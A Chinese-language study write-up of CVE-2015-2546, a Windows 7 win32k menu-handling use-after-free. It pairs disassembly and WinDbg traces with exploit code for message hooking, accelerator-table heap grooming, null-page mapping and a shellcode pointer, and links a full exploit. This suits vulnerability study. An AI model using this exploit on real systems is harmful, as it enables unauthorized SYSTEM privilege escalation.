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[原创]CVE-2015-2546提权漏洞学习笔记
2022-3-16 19:49 5385

[原创]CVE-2015-2546提权漏洞学习笔记

2022-3-16 19:49
5385

一.前言

1.漏洞描述

和CVE-2014-4113一样,这个漏洞也是因为调用xxxSendMessage函数的时候,没有对第一个参数进行合法性验证。用户可以通过一定的方法修改第一个参数的值,导致可以通过xxxSendMessageTimeout中的以下代码实现提权:

.text:BF8B94E8 loc_BF8B94E8:                           
.text:BF8B94E8                 push    [ebp+Src]
.text:BF8B94EB                 push    dword ptr [ebp+UnicodeString]
.text:BF8B94EE                 push    ebx
.text:BF8B94EF                 push    esi
.text:BF8B94F0                 call    dword ptr [esi+60h]

与CVE-2014-4113不同的是,这次的漏洞在xxxHandleMenuMessage中调用的xxxMNMouseMove函数中。

2.实验环境

  • 操作系统:Win7 X86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg

二.漏洞分析

要理解这个漏洞,需要对两个结构体有所了解,第一个是tagMENUWND,该结构体定义如下:

kd> dt tagMENUWND
win32k!tagMENUWND
   +0x000 head             : _THRDESKHEAD
   +0x014 state            : Uint4B
   +0x018 state2           : Uint4B
   +0x01c ExStyle          : Uint4B
   +0x020 style            : Uint4B
   +0x024 hModule          : Ptr32 Void
   +0x028 hMod16           : Uint2B
   +0x02a fnid             : Uint2B
   +0x02c spwndNext        : Ptr32 tagWND
   +0x030 spwndPrev        : Ptr32 tagWND
   +0x034 spwndParent      : Ptr32 tagWND
   +0x038 spwndChild       : Ptr32 tagWND
   +0x03c spwndOwner       : Ptr32 tagWND
   +0x040 rcWindow         : tagRECT
   +0x050 rcClient         : tagRECT
   +0x060 lpfnWndProc      : Ptr32     long 
   +0x064 pcls             : Ptr32 tagCLS
   +0x068 hrgnUpdate       : Ptr32 HRGN__
   +0x06c ppropList        : Ptr32 tagPROPLIST
   +0x070 pSBInfo          : Ptr32 tagSBINFO
   +0x074 spmenuSys        : Ptr32 tagMENU
   +0x078 spmenu           : Ptr32 tagMENU
   +0x07c hrgnClip         : Ptr32 HRGN__
   +0x080 hrgnNewFrame     : Ptr32 HRGN__
   +0x084 strName          : _LARGE_UNICODE_STRING
   +0x090 cbwndExtra       : Int4B
   +0x094 spwndLastActive  : Ptr32 tagWND
   +0x098 hImc             : Ptr32 HIMC__
   +0x09c dwUserData       : Uint4B
   +0x0a0 pActCtx          : Ptr32 _ACTIVATION_CONTEXT
   +0x0a4 pTransform       : Ptr32 _D3DMATRIX
   +0x0a8 spwndClipboardListenerNext : Ptr32 tagWND
   +0x0ac ExStyle2         : Uint4B
   +0x0b0 PopupMenu	   : Ptr32 tagPOPUPMENU

其中最关键得是最后一个成员,也就是偏移0x0B0处得PopupMenu,该成员是一个tagPOPUPMENU结构体,结构体定义如下:

kd> dt tagPOPUPMENU
win32k!tagPOPUPMENU
   +0x000 flags	     : Uint4B
   +0x004 spwndNotify     : Ptr32 tagWND
   +0x008 spwndPopupMenu   : Ptr32 tagWND
   +0x00c spwndNextPopup   : Ptr32 tagWND
   +0x010 spwndPrevPopup   : Ptr32 tagWND
   +0x014 spmenu           : Ptr32 tagMENU
   +0x018 spmenuAlternate  : Ptr32 tagMENU
   +0x01c spwndActivePopup  : Ptr32 tagWND
   +0x020 ppopupmenuRoot   : Ptr32 tagPOPUPMENU
   +0x024 ppmDelayedFree   : Ptr32 tagPOPUPMENU
   +0x028 posSelectedItem  : Uint4B
   +0x02c posDropped       : Uint4B

xxxMNMouseMove函数中,首先会调用xxxMNFindWindowFromPoint函数获取返回值,而该函数的返回值是通过xxxSendMessage发送0x1EB的消息得到的。因此,对0x1EB的消息进行挂钩就可以修改此处的返回值,这里的返回值需要修改成tagMenuWnd(原因在下面)。为了触发漏洞,此处的返回值就不能是-1或-5,这样才能绕过2,3的验证,而由于4的验证,返回值还需要是一个合法的窗口的值,因为在IsWindowBeingDestroyed函数中,会对窗口的属性进行检查。

接下来,函数会将tagMenuWnd中偏移0xB0处保存的结构为tagPOPUPMENU的pTagMenuWnd取出,将它作为第一个参数调用xxxMNHideNextHierachy。可是在此之前,函数通过xxxSendMessage发送了两次消息,而且这两个函数的参数都是pTagMenuWnd。那么,用户就可以在通过挂钩的方式,在调用xxxMNHideNextHierachy函数之前对tagMenuWnd中的数据进行更改,也就是更改偏移0xB0处的pTagPopupMenu。

这里IDA反编译的结果出了问题,两个xxxSendMessage函数发送的消息应当分别是0x1E5和0x1F0,因为它们的汇编代码分别如下:

.text:BF939517 loc_BF939517:                           
.text:BF939517                 xor     edi, edi
.text:BF939519                 push    edi            
.text:BF93951A                 push    dword ptr [ebp+UnicodeString] 
.text:BF93951D                 push    1E5h            
.text:BF939522                 push    esi             
.text:BF939523                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF939528                 test    al, 10h
.text:BF93952A                 jz      short loc_BF939583
.text:BF93952C                 test    al, 3
.text:BF93952E                 jnz     short loc_BF939583
.text:BF939530                 push    edi             
.text:BF939531                 push    edi             
.text:BF939532                 push    1F0h            
.text:BF939537                 push    esi           
.text:BF939538                 call    _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93953D                 test    eax, eax
.text:BF93953F                 jnz     short loc_BF939583
.text:BF939541                 push    ebx
.text:BF939542                 call    _xxxMNHideNextHierarchy@4 
.text:BF939547                 jmp     short loc_BF939583

在xxxMNHideNextHierarchy函数中,会将pTagPopupMenu偏移0x0C的spwndNextPopup作为第一个参数调用xxxSendMessage函数。

虽然这里第八第九行代码验证了spwndNextPopup是否为0,但是,函数没有对pTagPopupmenu进行验证。因此,只要修改掉spwndNextPopup,让它不为0。

最终将导致代码xxSendMessageTimeout中的call dword ptr [esi + 0x60]就变成call dword ptr [spwndNextPopup + 0x60],此时只要在相应的位置放入ShellCode函数地址,就可以实现提权。

三.漏洞利用

和CVE-2014-4113相同的是,该漏洞也需要通过TrackPopupMenu函数来触发,所以也需要以下的代码来创建相应的窗口

	HWND hWnd = NULL;
	WNDCLASS wc = { 0 };
	HMENU hMenu1 = NULL, hMenu2 = NULL;
	MENUITEMINFO Item1 = { 0 }, Item2 = { 0 };

	memset(&wc, 0, sizeof(wc));

	wc.hInstance = GetModuleHandle(NULL);
	wc.lpfnWndProc = WndProc_2015_2546;
	wc.lpszClassName = "1900";

	if (!RegisterClassA(&wc))
	{
		ShowError("RegisterClassA", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	hWnd = CreateWindowA(wc.lpszClassName,
			       "",
			       WS_OVERLAPPEDWINDOW | WS_VISIBLE,
			       0,
			       0,
			       640,
			       480,
			       NULL,
			       NULL,
			       wc.hInstance,
			       NULL);
	if (!hWnd)
	{
		ShowError("CreateWindowEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	hMenu1 = CreatePopupMenu();
	if (!hMenu1)
	{
		ShowError("CreatePopupMenu", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	memset(&Item1, 0, sizeof(Item1));
	memset(&Item2, 0, sizeof(Item2));

	Item1.cbSize = sizeof(Item1);
	Item1.fMask = MIIM_STRING;
	if (!InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
	{
		ShowError("InsertMenuItemA 1", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	hMenu2 = CreatePopupMenu();
	if (!hMenu2)
	{
		ShowError("CreatePopupMenu 2", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	Item2.fMask = MIIM_STRING | MIIM_SUBMENU;
	Item2.dwTypeData = "";
	Item2.cch = 1;
	Item2.hSubMenu = hMenu1;
	Item2.cbSize = sizeof(Item2);

	if (!InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
	{
		ShowError("InsertMenuItemA 2", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 触发漏洞
	if (!TrackPopupMenu(hMenu2, 0, 0, 0, 0, hWnd, NULL))
	{
		ShowError("TrackPopupMenu", GetLastError());
		bRet = FALSE;
		goto exit;
	}

不同的地方在于此时触发漏洞的位置是不同的,以下是部分代码:

int __stdcall xxxHandleMenuMessages(int a1, int a2, WCHAR UnicodeString)
{
  uMsg = *(_DWORD *)(a1 + 4);
  if ( uMsg > 0x104 )
  {
    if ( uMsg > 0x202 )
    {
    }
    if ( uMsg == 0x202 )
      goto LABEL_80;
    v20 = uMsg - 0x105;			// uMsg - 0x105
    if ( v20 )
    {
      v21 = v20 - 1;			// uMsg - 0x1		        
      if ( v21 )
      {
        v22 = v21 - 0x12;		// uMsg - 0x12
        if ( !v22 )
          return 1;
        v23 = v22 - 0xE8;		// uMsg - 0xE8
        if ( v23 )			
        {
          if ( v23 == 1 )
          {
	           // CVE-2014-4113漏洞触发点
            iRet = (_DWORD *)xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);
            
            if ( iRet == (_DWORD *)-1 )
              xxxMNButtonDown(v3, v12, UnicodeString, 1);
            else
              xxxSendMessage(iRet, 0xED, UnicodeString, 0);
            if ( !(v12[1] & 0x100) )
              xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);
          }
          return 0;
        }
	
	       // CVE-2015-2546漏洞触发点
        xxxMNMouseMove((WCHAR)v3, a2, (int)v7);
        return 1;
      }
    }
  }
  return 1;
}

经过计算,uMsg等于0x201的时候,会触发CVE-2014-4113的漏洞,当它等于0x200的时候会触发CVE-2015-2546的漏洞。而uMsg的值是由主窗口处理例程中的第三个PostMessageA的第二个参数决定的,根据以下的定义可以知道,本次漏洞的触发需要通过PostMessageA发送WM_MOUSEMOVE的消息

#define WM_MOUSEMOVE                   0x0200
#define WM_LBUTTONDOWN                  0x0201

并且,在进入xxxMouseMove函数中,会对第三个PostMessageA的第四个参数进行判断,该值如果为0,将不会调用xxxMNHideNextHierarchy触发漏洞,所以此次的exp的主窗口例程的处理函数应该改成如下的代码:

LRESULT CALLBACK WndProc_2015_2546(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	if (uMsg == WM_ENTERIDLE)
	{
		if (!bFlag)
		{
			bFlag = TRUE;
			PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);
			PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);
			PostMessageA(hWnd, WM_MOUSEMOVE, 0, 1);
		}
		else
		{
			PostMessageA(hWnd, WM_CLOSE, 0, 0);
		}
	}

	return DefWindowProcA(hWnd, uMsg, wParam, lParam);
}

根据上面的漏洞分析可以知道,要成功调用xxxMNHideNextHierachy函数触发漏洞,需要对0x1E5,0x1EB和0x1F0这三个消息进行处理。对于0x1E5,只需要返回0x10就符合要求,而0x1EB需要返回一个合法的窗口对象来绕过IsWindowBeingDestory函数。因此,需要通过CreateWindowsExA创建一个类名为 "#32768"的窗口对象,函数会返回一个合法的tagMENUWND的窗口对象,当处理0x1EB消息的时候,将该对象返回回去就可以绕过验证。

有了tagMENUWND对象,接下来就需要在0x1F0中想办法修改tagMENUWND对象的tagPOPMENU中偏移0xC的spwndNextPopup。因为,在函数xxxMNHideNextHierarchy中,会对这个成员判断其值是否为0,如果不为0,才会将其作为第一个参数传给xxxSendMessage函数,而上面所创建的类名为"#32768"的tagMENUWND对象的tagPOPMENU中的spwndNextPopup为0

想要将其修改为非0值,此处需要使用到CreateAcceleratorTable来创建加速表对象,该函数的定义如下:

HACCEL CreateAcceleratorTable(LPACCEL lpaccl, 
                int cEntries);

其中第二个参数指定了要创建加速表对象的个数,这里需要指定为0x5,因此每个加速表对象占8字节,5 * 8 = 0x28,在加上8字节的POOL_HEADER以及0x10字节的对象头,这样可以保证创建的空间足够容纳0x40大小的tagPOPUPMENU结构体。因此,消息0x1EB的执行内容如下:

  • 先销毁掉"#32768"窗口对象,这样会释放掉tagPOPUPMENU的空间

  • 申请一些的加速表对象,这些加速表对象就会占用刚刚释放"32768"窗口对象的tagPOPUPMENU空间,这样,就可以修改tagPOPUPMENU中的spwndNextPopup

为了避免内存块合并,在初始化阶段,需要首先耗尽0x40大小的内存块。然后申请一批连续的0x40大小的加速表对象,释放掉其中的偶数部分的加速表对象,这样创建的"32768"窗口对象的tagPOPUPMENU的空间就会在在这些释放的内存块中。而它的前后两块都是正在被使用的内存块,当在消息0x1EB中释放tagPOPUPMENU的时候,不会发生内存块的合并,。因此,最终的初始化函数应当修改为如下:

BOOL Init_2015_2546()
{
	BOOL bRet = TRUE;
	LPACCEL lpAccel = NULL;
	DWORD  i = 0;
	HACCEL hAccel[ACCELERATOR_NUMBER + 5];

	// 消耗掉0x40大小的内存块
	for (i = 0; i < ACCELERATOR_NUMBER; i++)
	{
		lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 5);
		if (!CreateAcceleratorTable(lpAccel, 0x5))
		{
			ShowError("CreateAcceleratorTable", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 分配连续的0x40大小的加速表对象
	for (i = 0; i < ACCELERATOR_NUMBER; i++)
	{
		lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 5);
		hAccel[i] = CreateAcceleratorTable(lpAccel, 0x5);
		if (!hAccel[i])
		{
			ShowError("CreateAcceleratorTable", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 释放其中的双数的内存块
	for (i = 1; i < ACCELERATOR_NUMBER; i += 2)
	{
		if (!DestroyAcceleratorTable(hAccel[i]))
		{
			ShowError("CreateAcceleratorTable", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 创建窗口对象,该窗口的tagPOPMENU会占用上面释放的双数的内存块
	g_hWnd = CreateWindowExA(0,
							 "#32768",
						     NULL,
							 0,
							 -1, -1,
							 0, 0,
							 NULL,
							 NULL,
							 NULL,
							 NULL);

	if (!g_hWnd)
	{
		ShowError("CreateWindowExA #32768", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	if (!SetWindowLongA(g_hWnd, GWL_WNDPROC, (ULONG)DefaultMenuProc_2015_2546))
	{
		ShowError("SetWindowLongA", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 在0地址申请内存成功
	if (!AllocateZeroMemory())
	{
		bRet = FALSE;
		goto exit;
	}

	*(DWORD*)(0xD) = GetPtiCurrent_2015_2546();
	*(BYTE*)(0x1B) = (BYTE)4;
	*(DWORD*)(0x65) = (DWORD)ShellCode_2015_2546;	

exit:
	return bRet;
}

菜单窗口的处理例程,则应该如下所示:

LRESULT CALLBACK MenuWndProc_2015_2546(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	LPACCEL	lpAccel = NULL;

	if (uMsg == 0x1EB)
	{
		return (LONG)g_hWnd;
	}
	else if (uMsg == 0x1F0)
	{
		if (g_hWnd != NULL)
		{
			// #32768窗口进行销毁,tagPopupMenu被释放
			if (!DestroyWindow(g_hWnd))
			{
				ShowError("DestroyWindow", GetLastError());
			}

			// 使用加速表对象占用窗口对象的空间
			for (DWORD i = 0; i < ACCELERATOR_NUMBER; i++)
			{
				lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 0x5);
				if (lpAccel) CreateAcceleratorTable(lpAccel, 0x5);
			}
		}
		
		return 0;
	}
	else if (uMsg == 0x1E5)
	{
		return 0x10;
	}

	return CallWindowProcA(g_lpPrevWndFunc, hWnd, uMsg, wParam, lParam);
}

四.运行结果

参考下面链接的师傅的代码写的exp,链接在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2015-2546.cpp

在xxxMNMouseMove函数中下断点,运行exp,当运行到发送0x1F0的消息时,此时可以看到#32768窗口对象的tagPOPUPMENU中偏移0xC的spwndNextPopup为0

1: kd> p
win32k!xxxMNMouseMove+0x141:
96809530 57              push    edi
1: kd> p
win32k!xxxMNMouseMove+0x142:
96809531 57              push    edi
1: kd> p
win32k!xxxMNMouseMove+0x143:
96809532 68f0010000      push    1F0h
1: kd> p
win32k!xxxMNMouseMove+0x148:
96809537 56              push    esi
1: kd> p
win32k!xxxMNMouseMove+0x149:
96809538 e86000f8ff      call    win32k!xxxSendMessage (9678959d)
1: kd> r esi
esi=fea11b28
1: kd> dd fea11b28 + B0
fea11bd8  fd5ee588 00000000 0001000d 0c000018
fea11be8  00000000 c159c159 00000000 88427a60
1: kd> dt tagPOPUPMENU fd5ee588
win32k!tagPOPUPMENU
   +0x000 flags            : 0x00000000 
   +0x004 spwndNotify      : (null) 
   +0x008 spwndPopupMenu   : 0xfea11b28 tagWND
   +0x00c spwndNextPopup   : (null) 
   +0x010 spwndPrevPopup   : (null) 
   +0x014 spmenu           : (null) 
   +0x018 spmenuAlternate  : (null) 
   +0x01c spwndActivePopup : (null) 
   +0x020 ppopupmenuRoot   : (null) 
   +0x024 ppmDelayedFree   : (null) 
   +0x028 posSelectedItem  : 0xffffffff
   +0x02c posDropped       : 0

同时,查看这个时候的内存情况,tagPOPMENU对象在两块被使用的加速表对象中间,此时释放它不会造成内存块的合并

调用xxxSendMessage发送0x1F0的消息后,可以看到spwndNextPopup被修改为0x5

1: kd> p
win32k!xxxMNMouseMove+0x14e:
9721953d 85c0            test    eax,eax
1: kd> dt tagPOPUPMENU fd5ee588
win32k!tagPOPUPMENU
   +0x000 flags            : 0x00000000
   +0x004 spwndNotify      : (null) 
   +0x008 spwndPopupMenu   : (null) 
   +0x00c spwndNextPopup   : 0x00000005 tagWND
   +0x010 spwndPrevPopup   : 0xcdcdcdcd tagWND
   +0x014 spmenu           : 0xcdcdcdcd tagMENU
   +0x018 spmenuAlternate  : 0xcdcdcdcd tagMENU
   +0x01c spwndActivePopup : 0xcdcdcdcd tagWND
   +0x020 ppopupmenuRoot   : 0xcdcdcdcd tagPOPUPMENU
   +0x024 ppmDelayedFree   : 0xcdcdcdcd tagPOPUPMENU
   +0x028 posSelectedItem  : 0xcdcdcdcd
   +0x02c posDropped       : 0xcdcd

接着跟进xxxMNHideNextHierarchy函数,此时就会绕过该函数对spwndNextPopup不为0的验证,并将0x5作为第一个参数调用xxxSendMessage

1: win32k!xxxMNHideNextHierarchy+0x37:
967e8f05 6a00            push    0
1: kd> p
win32k!xxxMNHideNextHierarchy+0x39:
967e8f07 6a00            push    0
1: kd> p
win32k!xxxMNHideNextHierarchy+0x3b:
967e8f09 68e4010000      push    1E4h
1: kd> p
win32k!xxxMNHideNextHierarchy+0x40:
967e8f0e 50              push    eax
1: kd> p
win32k!xxxMNHideNextHierarchy+0x41:
967e8f0f e88906faff      call    win32k!xxxSendMessage (9678959d)
1: kd> r eax
eax=00000005

这就会导致call dword ptr [esi + 0x60]变成call dword ptr [0x5 + 0x60],因此只需要在0x65的地方放入ShellCode的地址就可以完成提权,最终的运行结果如下:

五.参考资料


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最后于 2022-6-10 20:13 被1900编辑 ,原因:
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